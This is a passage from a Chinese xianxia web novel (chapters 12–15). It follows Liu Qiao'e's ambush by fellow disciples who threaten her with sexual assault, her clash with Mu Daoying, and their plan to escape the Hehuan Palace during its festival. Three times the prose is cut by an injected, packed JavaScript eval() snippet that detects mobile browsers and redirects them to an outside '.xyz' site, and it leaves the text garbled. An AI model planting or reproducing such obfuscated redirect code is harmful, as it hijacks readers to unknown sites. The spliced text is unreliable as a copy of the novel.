刘巧娥一出花棚,手底下的杂役们都围拢了上来。 赵老二:“娘子你这伤!可要紧?项管事到底是怎么说的,奇了怪了,这一批花不应该有问题啊。” 刘巧娥受了伤,实在很难有什么耐心:“别喊娘子,喊什么娘子,如今我已经不是你们的娘子了!你们今后,小心行事,自求多福罢!” 一众杂役都变色:“刘娘——怎会如此?” 但刘巧娥却已经无心再罗唣。捧着伤手,刘巧娥皱眉往水云涧而去。 她伤势太重,不处理不行。 才出了浮云谷,走到半路,迎面却又碰上一行蒙面人拦路。 刘巧娥止住脚步,警惕地瞪着眼前这一行男人。她确信自己未曾见过这些人。 “范舒云叫你们来的?” “范舒云呢?” 这些人也不回应她,为首一人一挥手,一时间各色灵光、宝器飞出将她团团围住。 刘巧娥大惊失色,下意识想跑,非但没跑出包围圈,还被各色灵光击中手脚关节,她脚下一软,扑倒在地。 身上早已多出十几道伤口。为首的那人走到她面前,拽着她头发将她拉回去,抬手就给了她两耳光,扇得她头脑发晕,口鼻流血。 “小贱人。” “跑?还敢跑?” 刘巧娥勃然变色:“老母严禁门人残杀,你们怎么敢?!” “谁说的我们要杀你性命了?” 一道熟悉的柔媚的嗓音响起。 人群分列两旁,让出一条道路。 范舒云阴沉着一张脸,缓步走近,“你让老子吃尽苦头——” “刘巧娥。”范舒云捏住她下颌,咬牙,“老子倒要问问你。是怎么敢的?” 范舒云来者不善,来势汹汹,刘巧娥心里一慌,触目见他带来的那些个打手,全身都软了下来。 她心里咚咚直跳,仍强作镇定,冷冷说: “范舒云,思过谷没把你关明白,你这是又想回去了?” 这是提醒她,合欢宫可不兴杀害人命。 范舒云却轻笑起来,“我还真当你天不怕地不怕,原来你刘巧娥也有怕的时候。” 一滴冷汗从刘巧娥鬓角滑落,范舒云指腹用力一抹,揩了那滴汗水,笑说,“谁说我要害你性命了?你我同门一场,虽然你狗咬吕洞宾,不识好歹,可我却不能不顾念同门情谊。 “你说你,拜入合欢宗也这么多年了,却连双修的云山伴也无一个!我这不是友爱同门吗?便寻来这一二三四——这几个好汉子。” 范舒云回望了身后那些男弟子一眼,饶有兴趣道,“要不,你挑一个。” “范舒云!”刘巧娥尖声叫道,“你敢?!” “我敢?!”范舒云面色遽变,扬手一巴掌甩得刘巧娥偏过脸去,“我怎么不敢?!呸!小娼妇!别给你脸不要脸!” “今日便是在这里将你办了,合欢宫内又有谁说我一声不是?!” 合欢宫毕竟是以房中入道,风气自与其他教派不同。奸-□□女这项罪名在合欢宫中自然不成立。 “倒是你,入了合欢宫这么多年,还装得什么贞烈不成?” 刘巧娥忍不住瞧了一眼周围那几个男弟子,这几人个个生得健硕雄壮,她心头一颤,恐惧万分。 说什么顾念同道,助她双修,说白了不过是采阴补阳。 这宫里又不是没脱阴/阳而死的男女弟子。 她面色终于霎时灰败如雪。 范舒云不意见到,如此桀骜跋扈的刘巧娥竟然苍白了脸颊,咬紧牙关,发起抖来。 那是从灵魂深处泛出的恐惧,眼前飞快地掠过零零散散,光怪陆离的片段,勾连起那段最难堪,最黑暗,也最不愿意忆起的回忆。 她是刘巧娥? 还是谁? 恐惧伴随着凌厉的杀意一同涌上心头。 刘巧娥心胆俱裂,怒目圆睁,已做好准备虎扑上去,同这几人咬个你死我活的准备。 风中忽然送来个熟悉的嗓音。 “哼,她刘巧娥算个什么东西。” “今日老娘偏要将那慕道瑛强纳入帐中!” 李倾城满脸不以为然,伙同她那一帮环肥燕瘦,桃红柳绿的小姐妹们,摆着腰肢,朝着水云涧的方向走去。 乍见刘巧娥挡路,李倾城惊愕地张大了嘴:“刘巧娥?!” 又瞧瞧范舒云,见这一场阵仗,脸慢慢地就绿了。 “你们,你们这是……” 刘巧娥虽然一向瞧不起李倾城这个胸大无脑的白痴,这时见她,也不免焦急,忙抻起身子。 李倾城顿觉不妙,脚底抹油正要开溜。 刘巧娥催魂般地一迭声叫起来:“李倾城!李倾城!” 李倾城登时绿了脸皮。 范舒云也变了脸色:“你怎么在这儿?” 你以为我想?李倾城暗骂一声晦气。 “我路过不行吗?你们该干啥干啥,就当我个屁放了还不成?” 刘巧娥哪里肯放过李倾城,叫得不禁大声还愈见亲热:“倾城,倾城,你去哪儿呢?是要找慕道长?我带你去啊。” “刘道友这么多年来也没个云山伴。”范舒云扯出个僵笑,解释,“合欢大典在即,我顾念同门情谊帮她挑呢。” 他不解释则矣,一解释,就连李倾城也暗暗翻了个白眼,心道,谁问你了,白痴。她馋他脸皮不假,却也鄙夷他的脑子。 范舒云也暗自发急。 无垢老母不让门内自相残杀,自然也禁止单方面的采补,只不过男女之间那点事吧,可操作可解释的空间也大,若真是咬定玩得过了火,一方脱阴/阳而死,也不好定他的罪。 只是这事需避着点儿人,他刚从思过谷出来,正是一身臊的时候,心虚气短。 范舒云是个纨绔,更是个草包,脓包。干点小打小闹欺负人的事是信手拈来,真要闹出人命他也没那个胆子。 李倾城跟她那些个跟班小姐妹一来,他手底下那几个男弟子便怯了几分。 按着刘巧娥的手劲一松,刘巧娥如泥鳅一般顺势挣了出去。 范舒云心头大恨,当着李倾城的面,众目睽睽,又不敢授人以柄,只干咳了一声,“既然刘道友不愿,那在下也不勉强了。” 一拱手,“告辞告辞。” 手底下几个男弟子面面相觑,也随之慢慢散去。 李倾城大骂:“怎么没叫范舒云把你打死!” 刘巧娥好整以暇地整了整衣衫,“这不是你来救我了吗?” “你!”李倾城气噎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乍见刘巧娥,白梦离心头一喜,又因为求到她面前来,感到点微妙的耻辱,“刘巧娥——” 刘巧娥伸手一指门口,“滚出去!” 白梦离何曾受过如此羞辱,面色遽白:“你!” 她不提慕道瑛倒也罢,乍闻慕道长二字由她口中喊出,刘巧娥大恨,妒火滔天。 一时间,刘巧娥的怒火连慕道瑛也不明所以,看不下去。 “刘道友。” 刘巧娥充耳不闻,见白梦离还赖着不肯走,刘巧娥大怒,径自走到桌前拎起茶壶,对着白梦离浇了下去! 白梦离躲闪不及,衣裳透湿。 “快滚!”刘巧娥厉声。 正要抬手,手腕忽地一沉,刘巧娥错愕抬眼。 慕道瑛一把攫住了她的手腕! 青年定定地瞧着她,眼里满斥着不赞同,“刘道友。冷静。” 他落拓,孱弱,但手指依然修长有力。 这是男人的手掌。哪怕这些时日他表现得如何温绵如水,此时此刻,牢牢箍着她的手腕,即令她吃痛,挣脱不得。 “请慎行。”慕道瑛制着她的手腕,轻轻地摇了摇头。 “你护着她?”刘巧娥咬牙。 慕道瑛:“……”他不知她这怒气到底从何而来,只觉得她实有些不可理喻。 不待他开口,刘巧娥便已冷笑出声,“慕道瑛,我看你这些时日是过得太快活了!信不信我这就回禀陈总管,将你抓进大牢!” 慕道瑛摇摇头,仍未松手,“我若不松手,道友又如何禀报?” 刘巧娥瞪大了眼,做梦也没想到他竟然会跟自己顶嘴,非但顶嘴,还如此霸道!当下气得浑身发抖,不管不顾抬脚便去踹他小腿。 慕道瑛闪身避让,手劲稍松,也不知是无意还是有意为之。刘巧娥趁势溜出。慕道瑛见她要跑,只怕她真要去寻陈玉柔。 他虽落难,灵窍被封,但也为东华界千年难出的天之骄子,刘巧娥这点战技机心在他眼底自然浅陋得一览无遗。 一个闪身的功夫,慕道瑛便又近到她身前,双手捉住她双臂。 刘巧娥大惊失色,“你!” 她奋力挣扎,却在慕道瑛强有力的束缚之下,宛如个只会蹬腿挥拳的稚童。 慕道瑛将她双臂反剪身后,“失礼,道友。” “瑛不得已出此下策,道友也该听一听我与白道友的解释。” 刘巧娥并非孤弱无助,相反她很有几分浅薄的恶毒。 慕道瑛凝眉,经过这些时日的摩擦相处,他确信自己对刘巧娥仅存的那最后一丝怜悯也烟消云散了。 白梦离看看慕道瑛,又看看刘巧娥,臊眉耷眼,忍气吞声说:“我……我中了春毒,想请你帮忙……你放心好了,我不占你便宜,你想要什么,尽管开口便是。” 刘巧娥羞愤:“呸!” 慕道瑛不动声色加重了手劲,防她暴起伤人。 刘巧娥悲愤:“慕道瑛!” 慕道瑛心里有愧,只得装作听不见。 刘巧娥受他辖制身前,此奇耻大辱,更当着白梦离的面。羞愤欲死,恨痛了心肠肝肺。 她定要杀了慕道瑛!更在范舒云前! 还有白梦离! 今日范舒云,慕道瑛,白梦离有一个算一个,她定杀他们!! 13.第 13 章 “奸夫□□!”刘巧娥骂说,“蛇鼠一窝!” 白梦离气红了脸。 慕道瑛却面不改色,十分淡定。 他委实没想到刘巧娥会有这么大的反应。如今已将刘巧娥得罪狠了,得罪都得罪了,慕道瑛只能破罐子破摔,过后再好好赔礼道歉。 白梦离毕竟身中春毒,总要解了毒再论其他,否则这样僵持委实不太像话。 他心中打定主意,便不再动摇。 刘巧娥:“光天化日,朗朗乾坤,你二人孤男寡女,共处一室,不定多少下流的勾当都做尽了,还好意思来教训我!” 白梦离忍无可忍:“我跟慕道长岂如你所想的那般龌龊!道长只是帮我调息顺气。” 青年瞧着文弱,但手劲极大,刘巧娥被他拗得吃痛,仍不肯服气,嘴里不干不净地破口大骂,骂完白梦离,一视同仁地继续骂慕道瑛。 “还当你如何贞烈高洁,也不过以貌取人,贪花好色的伪君子!” 慕道瑛也只是轻斥:“慎言。” 又低头看向刘巧娥,“对道友出手非瑛之本意,若道友愿意心平气和地谈一谈,瑛便放开道友如何?” 刘巧娥哪里肯依:“慕道瑛,你今日大发善心,你把别人都当好人,哈,实际上这合欢宫,不论男女,都把你当婊——呃唔——” 慕道瑛垂眸,握紧了紧她的手,“胡言乱语。” 他并未动怒,只是拦阻。 但这一点阻拦也令刘巧娥脱身不得,刘巧娥回眸见青年衣冠俨然,眉目秀媚,眉关紧锁,一副泠然不可侵犯的神仙姿态,心中更恨。 “怎么我说错了吗?落入了合欢宫,迟早就是个千人枕万人骑的破——” 慕道瑛暗叹她顽劣难驯,掌心毫不留情运力,扭她双臂,顶得刘巧娥踉跄着向前一步。 “又胡说。” 慕道瑛执掌玉清刑名多年,此番是真存了些训诫她的心思,手上运劲毫无怜香惜玉之念。 刘巧娥吃不住痛,恨得咬牙切切。 这厮竟然还问:“可愿为白道友解毒?” 人为刀俎,我为鱼肉,刘巧娥恨毒了慕道瑛霸道,却也知晓君子报仇十年不晚的道理。 “你松开我。”刘巧娥咬牙,“你松开我我就替她解毒。” 慕道瑛没立刻松手,而是先观察她神情的可信度。他黝黑眸子近在咫尺,自己都没注意到目光的直接、详尽。 刘巧娥被他看得涨红了脸。 见她的确已经缴械认输,他这才松手,轻轻推她背心,“去。” 刘巧娥不甘不愿近到白梦离身前。 白梦离僵硬:“你——” 刘巧娥冷眉冷眼,低下头从腰间芥子囊中取出几个瓶瓶罐罐,现场调制,不一时的功夫,便将解药递到白梦离面前,“吃下去。” 合欢宫从来便不是什么吟风弄月,醉生梦死的所在,门人弟子纵□□,欲望横流便自然滋生黑暗,道德败坏,风气邪糜。 身处无间,又无人能够双修来长进修为,刘巧娥自然便打拼出了自己的生存之道,无外乎借助医毒等外道来存身保命。 今日是她技不如人,可见慕道瑛处处回护白梦离,新仇旧恨一起算,刘巧娥心中厌恶。自然不肯白梦离好过。 白梦离张嘴将药吞了。 慕道瑛看在眼里,本以为事情总算翻篇,孰料下一秒,白梦离惊叫着大笑起来,“——啊哈、哈哈!”浑身上下犹如百蚁噬身,不痛,只是痒,还忍不住想笑,慌乱之下,笑得眼泪不由自主地淌了下来,形貌殊为凄惨。 慕道瑛见状,当机立断闪身上前,食指连点她全身上下各大脉门,白梦离稍微觉得好受点,但仍涕泪喘息不止。 慕道瑛转向刘巧娥:“刘道友,这是何故?”眼里的质询之意十分明显。 刘巧娥唇角露出个古怪的冷笑:“如你所愿我解了她的毒,只不过这解药的副作用可不是我能控制的了!” 慕道瑛看在眼里,哪里还有什么不明白的,刘巧娥这种人只能硬来,知她是不服,当下也不跟她罗唣,出手如电。 这下惊呼的人的成了刘巧娥:“!” 慕道瑛袍袖微动,快不及眨眼的功夫,便又扭住了刘巧娥的双臂,将她制在身前,“我知你心中有怨,怨在瑛一人之身,不必牵连他人。” 青年微微抿唇,低声恳求说:“还请道友,助人一臂之力。” 话音刚落,刘巧娥的面色“歘”地一下变得极剧苍白,额头也淌落冷汗来,一点点从牙缝里挤出字,“凭、什、么?” 她嗓音打颤,仿佛忍受极大痛苦,慕道瑛微微一怔,意识到不对劲,忽感到掌心有如水温热流淌开。 低头一瞧,整只手掌不知被从哪里流出的鲜血染红。 他嗓音一促:“你受了伤?” 刘巧娥咬牙不吭声,还想攥紧拳头藏住。 慕道瑛单手将她制住,腾出另一只手飞快地捉住她的手掌,强硬地根根掰开她的手指。 虎口高高肿起,掌心一道深可见骨的伤口正汩汩流血。 慕道瑛静了一息,“……为何不说。” 刘巧娥喘着气冷笑:“说什么?说予你,让你为了自己的红颜知己,再打我一顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056069|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤上加伤吗?!” 慕道瑛一时无言,松开手。 刘巧娥挣扎着,从芥子囊中又摸出个小瓷瓶丢到慕道瑛脚下,“药在这里,给你们了,快滚。” 慕道瑛沉默半晌,弯腰捡起地上的瓷瓶,递给白梦离。 白梦离解了毒,气得面色铁青,看着刘巧娥的眼神冷得像刀子,却也知晓有求于人,不便发作的道理。 只得低头向慕道瑛:“慕道长——?” “道友服了解药,便请先回罢。” 白梦离厌恶地看了刘巧娥一眼,只得吃了药跟他二人辞别。 白梦离一走,慕道瑛才问道:“是谁伤你?” 刘巧娥:“问这话有意义吗?我才不需要你假惺惺地装好人!” 刘巧娥对白梦离心存偏见,事急从权,他不得不先制住刘巧娥。 她敢爱敢恨,必定因今日这一遭记恨了自己。 慕道瑛心知此时想再解释道歉无疑于火上浇油,“你伤得重,让我先替你包扎罢。” 刘巧娥恨恨拂开他的手:“我不要你管!” 话音刚落,就又被慕道瑛一把按住。 “刘道友——”他轻轻叹了口气。 乌黑双眼日光下呈现出淡褐色的光泽,眼里闪动愧疚与……怜惜? 慕道瑛对刘巧娥的观感十分复杂。他虽在日常生活中克己复礼,严于律己,但也心知自己并非圣贤,对不同的人自然也有好恶之分。 他并不喜欢刘巧娥,他不喜她戾气深重,浅薄狭隘,心肠狠毒。却又在某个瞬间,怜惜她之虚张声势,故作强硬。 好恶之在一念之别。慕道瑛不得不承认,刘巧娥可以轻而易举地影响他到的情绪,令他道心不定,心绪浮沉。 对上慕道瑛的视线,刘巧娥恍若被火燎到一般。 犹如见到这世上最不可理喻,最难以容忍,最滑稽,最荒谬的东西,她霍然起身,“我说过不用你管就是不用你管!” 刘巧娥突然爆发,慕道瑛微微一顿。 事情发展到此,她既然已恼了自己,倒不若一不做二不休。 一念既定,慕道瑛垂下眼睫,置若罔闻,骈指飞快在她腕上一拂,一点。 刘巧娥只觉浑身一软,顿失了力气,软倒在他脚下坐榻,动作不能。 她羞愤地瞪大了眼,不可置信地瞧他,视线所制,也只能瞧见他道袍衣摆下的雪白长靴,以暗线绣以太极双鱼纹。 像是不敢相信他竟如此无赖,“你你你!道貌岸然!” 那双雅净无尘的白靴轻轻逼近。 慕道瑛上前扶起她。 14.第 14 章 慕道瑛轻咳了几声,默默忽略了刘巧娥能杀人的视线,去倒了杯清水,放在掌心运气滚热了。 又捉住她手掌,摊开,向上。动作轻柔,极尽耐心。 刘巧娥的面色一点点变得古怪起来,只觉得掌心仿佛有羽毛在挠似的,一抬眼就瞧见慕道瑛的侧脸轮廓,鼻梁秀挺,目光专注,仿佛极为珍重一般。 珍重? 她是气坏了脑子?竟觉得慕道瑛会珍重她? 在他眼里,恐怕她不过路边的野狗也不如! 只有白梦离……沈澄因,那样的女子才能被他平等以待吧,刘巧娥酸溜溜地想,而如她这般不过是可随意逼迫,又随意打发!正如同主人赏罚下人般随心所欲。 他怕她反抗,不敢轻忽,更不敢耽搁,飞快从袖中摸出一瓶伤药。 刘巧娥认得那是之前她送他的那一瓶。暗骂他不要脸:呸,又借花献佛,贼精! 慕道瑛拔了瓶塞,将药粉均匀地洒在她虎口创面。 倏地开口:“我与白道友不过两面之缘。” 刘巧娥愣了一下,才反应过来,他这是在跟自己解释? 他二人非亲非故,他何必跟自己解释?! 饶是如此,心底却不由泛起一阵淡淡的甜蜜。 慕道瑛垂眸说:“她身中春毒,既然求到了水云涧,置之不理,难保不会出事。她不能出事,更不能在水云涧中出事。” 刘巧娥容色稍霁,抿了唇,“你跟我说这些做什么?” 慕道瑛:“你曾与白道友有隙?” 刘巧娥倨傲:“你管我做什么?” 这几天相处下来,他多多少少也把握了点跟刘巧娥相处的方式。慕道瑛淡定地无视了她尖锐的态度,从芥子袋中取出干净的细麻布,心平气和地继续道:“道友性子刚正,心直口快……” 刘巧娥冷笑,难怪出生士族,文人习气,竟能面不改色将她描补成“心直口快”。 纱布一圈圈缠紧,末了,慕道瑛却顿了一顿,似乎陷入迟疑:“合欢宫是个尔虞我诈之地,道友性子未必与此地相合……” “不知道友对瑛之前的提议考虑如何?” 刘巧娥:“你如此待我,凭什么以为我还会答应你?” 慕道瑛选择换了个话题,“方才之事,瑛向你道歉。” “你……若同意,我会举荐你去游剑阁,或者太和宗——” “究竟拜入哪个宗门还是要看你自己心意。”对上刘巧娥指责的视线,慕道瑛顿了顿,补充说明。 “只是,你需知晓,不论哪个宗门,都不比你在合欢宫时了,正道宗门,门规森严,你日后行事若再如此不羁,恐有引火烧身之患。” 他并不喜欢刘巧娥,这个人的性格,行为习惯,处事方式,他都不喜欢。若是放在从前,慕道瑛不会跟她产生任何多余的纠葛。 他今日态度强硬,只是担心—— 她如此心性,如此行事,这般口无遮拦,日后该如何是好? “我说的这些——道友可能明白?” 刘巧娥还是不吭声。 慕道瑛抬眼,循循善诱:“若道友答应,瑛便松手。” 慕道瑛方才苦口婆心劝她那些,她一个字都没听进去,只记住了他今日辱她。 此等奇耻大辱,来日她定当偿还! 刘巧娥暗下了决心,面上却装得极为顺从。 慕道瑛果信守承诺,松手还她自由。 刘巧娥扭了扭手腕,望向慕道瑛雅正面容,强忍住那股施虐欲,冷声问:“你说得倒好听,冒着这么大的风险跟你干这一票,难道到时候你随便将我塞进一个宗门里就不管我死活了?!” 慕道瑛:“我非是不管你死活。到时自有人替我照顾你。” “那你呢?!你就一走了之了?” 慕道瑛沉默,师尊灵元,清虚真人,一张张面孔,一幕幕往事滑过心头。 “我只是,出去之后没想过能活下去。”青年顿了半秒,扭过脸,语气淡漠地说。 ** 刘巧娥最终还是答应了慕道瑛的提议。 为什么不答应? 她对合欢宫又毫无归属感和集体荣誉感。 蹉跎这么多年难道真的没考虑过转投他门吗? 当然有。 只是苦于没有门路而已。 最重要的是,哪怕刘巧娥不想承认,也不得不承认,慕道瑛是个君子。 他答应,即便事不成,也会竭力保护她。 “哪怕用你的性命?” 慕道瑛不假思索:“哪怕用瑛之性命。” 那还有什么不答应的道理? 刘巧娥知道,修行之路注定不能太平,若想要安稳顺遂地度过一生,就不该修仙。既选择了修仙,便要孤注一掷的勇气,危险和机遇从来都是并存的。 换个角度来说。 她素来便是个睚眦必报之人,若是接下来的这段时日慕道瑛不识好歹,再如今日这般招惹于她的话,她大可以将今日图谋和盘托出!亦或者在紧要关头反戈一击,让他摔得爬都爬不起来。 慕道瑛也无愧于“玉剑丹心”的“丹心”之名,刘巧娥同意之后,他便毫无藏私之心,将这些年来所学心得体会全部倾囊相授,也算为勉强她救治白梦离之歉意。 平心而论,刘巧娥并不算个能举一反三,天赋异禀的好学生,但胜在她好学,肯吃苦,一遍不会就练两遍,三遍,不休息不睡觉也要学会为止。 而有了刘巧娥的帮助,慕道瑛对于合欢宫的人事构成,守卫的巡逻路线,排班规律也有了更深入的了解。 慕道瑛既然想要逃跑,必定要选择一个合适的时机。没有比合欢大典更适宜的机会了。 那时在栖霞峰上,便是慕道瑛一介外人也能看出戚湄之不敬、不服、不臣之心。 倘若他是戚湄,一定会选择在合欢大典上动手。 为此他又特地询问了刘巧娥有关合欢宫近来的一些细节变动。 这些细节变化隐晦,常人或许难以觉察,但经历过玉清观之变,又常年身居高位,慕道瑛的阴谋嗅觉比寻常人更要敏锐。 山雨欲来风满楼,一点风吹草动都可能潜藏着一场巨大的风暴。只可惜,他那时一直苦心修炼,不问世事,等醒悟时已经太晚了,师尊早已带着重重的疑点叛出了玉清。 慕道瑛:“以道友之见,戚副掌会在何时发作?我若是她,或许会选择在合欢大典上发作,老母‘闭关’不出,再也没有比这更好的时机。” 慕道瑛说得果断,刘巧娥闻言也忍不住凝神思索:“……明眼人都能看得出来戚副掌不服气,但若是说副掌要在合欢大典——”是否太过急躁? “不管是不是在大典上动手,”慕道瑛摇摇头,“十日之后的合欢大典对你我而言都是一个机会。” “彼时人人忙着祭礼,鲜少有人能注意到你我的存在。” “所以这就是你让我带你来看宫门的原因?”刘巧娥反问。 言谈之间,两人已经走到正门前,合欢宫坐北朝南。 南门正门设有护山大阵,守卫森严,护卫弟子来回巡逻片刻不歇。 慕道瑛只看了一眼,便作出了取舍,“正门不行,我们去别的门。” 后门北门也是防备甚密。 两人又去了东西侧门。 西门位于断崖之上,层峦叠嶂,地势险峻,因此人手也最少。 东边的地势较为平坦,守卫比西门多,比正门后门更少。 刘巧娥此时哪里还看不出慕道瑛打得什么算盘, “怎么样?到时候我们从哪个门走?” 慕道瑛:“西门。” 这么快就决定了?刘巧娥愣了一下,下意识觉得不妥。 慕道瑛一眼看出她心中所想,“道友可是觉得太过草率?” 刘巧娥一哽,“话本里都这么写的……” 慕道瑛摇摇头:“这便是话本跟现实的不同。若是话本里,必定是要反其道而行之,故布疑阵了。” “你也看话本这些东西?”刘巧娥见他说起话本来头头是道,不禁狐疑。 慕道瑛一顿,诡异地沉默半秒:“从前没收过一些。” 的确。生活不是话本,综合考量之下,西门不论地理环境还是人员构成都是最合适的。 正如同戚湄想要发动政变,话本里必定是连环计计中计,但现实生活中,却要做到步骤越简单,涉密人员越少越好。 做多错多,当中的不确定性就太大了,不值得冒险。 现实往往比话本更简单,直接,甚至粗暴。 又过几日,合欢宫一甲子一度的合欢大典终于来到。 这一天,合欢宫循往年旧例,大开宫门,与民同乐。 周边村镇百姓都能过来赶个热闹。 有这么个歪门邪道在家门口,附近百姓多少也已经习惯了合欢宫邪肆的风格。 这一路而来,见瑞气喷涌,漫天花雨纷堕,碧瓦朱甍,交织一片琉璃宝光。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060501|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楼阁玲珑,烟柳画桥,鸾翔翠羽,鼓乐天音。 漾漾波心间,惊鸿倒影来,只见妖童媛女,从远方宫观楼台间把臂而下,罗裳逶迤,笑语盈盈,个个神采光耀,恍若神仙中人。 直看得人瞪大了眼,挪不开视线。 慕道瑛跟刘巧娥布衣打扮,正随着人潮,混迹在附近百姓之中。 唯有这一日,宫门大开,四门守卫松弛。临行前,慕道瑛在他跟刘巧娥身上各施了个混淆容貌的小法咒。 这法咒神奇之处便在于,若是无人细看,他二人便如同身边最没有存在感的大众脸,过路人。 慕道瑛并不打算惊动西门的守卫,只求安安稳稳,不露痕迹地混迹在凡人之中蒙混过关。 这一路行来倒也算顺利,人人都沉浸在这盛大的节日氛围之中,他二人低眉顺眼,没多时的功夫,就走到了西门附近。 可偏偏,就这临门一脚的功夫,出了岔子。 刘巧娥跟慕道瑛都低估了他本人的受欢迎程度。 临近西门附近,慕道瑛还是被人认了出来。不知是谁双眼发光喊了声,“慕道长!”下一秒的功夫,慕道瑛便被人给包围了。 俊俏的男男女女们将慕道瑛团团围住,热切求-欢。场面之□□露骨令刘巧娥都目瞪口呆。 本来他俩计划得还挺好的,怎奈何这唯一的纰漏出现在慕道瑛这张脸和这超高的人气上。 妖人爱仙君,正道禁欲气质对一众合欢宫男女来恰是绝杀。 急得刘巧娥直骂:“你说你生这么好看干嘛?!” “……”饶是慕道瑛,都委实无言以对,总不能说怪他爹娘? 刘巧娥费了半天的力气才把人从人群中拖出来。 一边怒目而视:“这是我的人!不懂规矩吗?滚一边去!” 合欢宗里好事不出门,坏事传千里,她跟范舒云那点事早就传遍了整个合欢宫。 人人都准备看她的笑话,未曾想,见刘巧娥跟慕道瑛联袂而来,这一副不合时宜的画面令大家惊掉了下巴。 刘巧娥心中又是烦躁,又是嘚瑟,穿花蝴蝶一般拉着慕道瑛钻出人群。 屋漏偏逢连夜雨,正当这时,李倾城突然携着范舒云,领着她那一大帮小跟班,出现在了两人面前。 “刘巧娥?”李倾城扬眉,“慕道长?你们在这里做什么?” “这是想去哪儿?” 慕道瑛也已知晓李倾城跟刘巧娥之间的恩怨。见她目光四下睃巡,似笑非笑,只道来者不善,正待开口,手臂倏地一沉。 慕道瑛一怔。 刘巧娥将他的手臂抱住了。 女人挽着他的手臂,趾高气扬,冷笑连连冲着李倾城,“做什么?怎么?合欢大典还不许我们出来逛逛了?” 李倾城遽然变了脸色。 慕道瑛沉默与她并肩而立,素麻道袍,愈发衬托瓷白肌肤,乌发高束,俊雅非常,浑如玉人。 李倾城:“难道?!怎会?!他是你云山伴?这不可能!” 范舒云也惊疑不定地,以探究的目光注视着她。 那天,范舒云怕惹出事来,仓惶而去,目下正心虚,不意见她竟跟慕道瑛形容亲密。自然又惊讶又纳闷。 刘巧娥则毫不意外范舒云会跟李倾城混迹到一起。 该说不说,范舒云这张脸的确妖冶俊俏,李倾城觊觎已久。 这合欢宫本来就是个淫窟,什么交换同修,三人行,乃至四人行,五人行都不是什么罕见的。 刘巧娥冷笑:“怎么就不可能了?就不许我俩日久生情?” 慕道瑛明白了刘巧娥的用意,他对男女之事毫无经验,便也没冒昧开口,只默默配合。 慕道瑛生得动人,其人的漂亮,是十分矜持的漂亮,如玉壶冰心,坚白清寒,透着点微冷。 此时仅仅不发一言,在众人眼中便几成纵容了。 只是,夏日的衣衫轻薄,肌肤相贴的温度隔着衣袖也能传来,淡淡温热。 慕道瑛觉得浑身不适,别扭,乃至对刘巧娥的冒犯。 而他心底的那微妙的不自在。刘巧娥是无知无觉的。 李倾城狐疑看他二人,笃定说:“我不信!” “你们到底在搞什么鬼?” 刘巧娥抱他更紧,女人个头矮小,紧抱时,几乎将胸口都贴在了他手臂,暄软如馒头,“由不得你信不信!” 慕道瑛毛骨悚然,惊得脊背都弓了起来。隔了好一会儿,才说服自己,一点点放松下来。 15.第 15 章 李倾城瞧瞧慕道瑛那怀冰抱雪,一点微冷,不染情俗的模样。 “我警告你!”李倾城皱紧了眉,意有所指地说,“别被这人冲昏了头脑,被人骗着做出让自己后悔莫及的事来!” 刘巧娥心里咯噔一声,暗骂李倾城这人狗鼻子。本想随便敷衍过去,李倾城却似乎笃定了她二人想趁机溜走。 “合欢大典快开场了,走罢。” 刘巧娥没动。 “怎么?”李倾城意味深长冷笑,“不想去会场,还想去哪里?” 她话音刚落,身后那几个跟班便颇有眼力见地将慕道瑛刘巧娥如铁桶一般密不漏风地围住。 事到如今,慕道瑛也知晓,眼下是走不得了,他却如蒙大赦般松了口气。 ——为终于能跟刘巧娥保持距离。 青年不动声色地悄悄将手臂从刘巧娥怀里抽出。 刘巧娥只觉怀里陡然一空,她下意识抬起眼,只瞧见慕道瑛侧脸轮廓。 青年平静地目注着前方,没任何被李倾城抓包的慌乱和遗憾。 在这个危机关头,他竟然还惦念着将手从她怀里抽出! 刘巧娥屈辱地涨红了脸。 慕道瑛轻轻地抽出手,手指骨节不经意间与她轻轻一撞,便又不动声色,含蓄地避开。 她原本正为李倾城的突然搅局而懊恼。此刻见他乌睫密长,雅致而疏离。心底顿时泛起隐秘的恨意。 两人几乎是被裹挟着来到了合欢宫正中心的中央广场。 广场由群峰合抱,青石铺就,两边都是深不见底的悬崖,云海茫茫,脚下雕刻阴阳双鱼的纹样,象征着阴阳相融。 循例,每届合欢大典,都由主礼人登上最前方的九层祭台,敬祷上天,宣布祭礼开始。 眼下,距离选定的吉时还有一段距离,不少合欢宗弟子们竟已经旁若无人,堂而皇之地双修起来。 因此慕道瑛看到的,便是一场盛大的—— 淫-趴。 ** 合欢宫子弟是以阴阳交-合为长生法门,视男女相交为这世上最自然,最顺应天道之事。自豪还来不及,又怎会羞愧? 今日天边紫霞滚滚,灵气汇聚,于此吉日良辰双修,一定事半功倍。于是,广场上便多了许多纠缠在一起的□□。 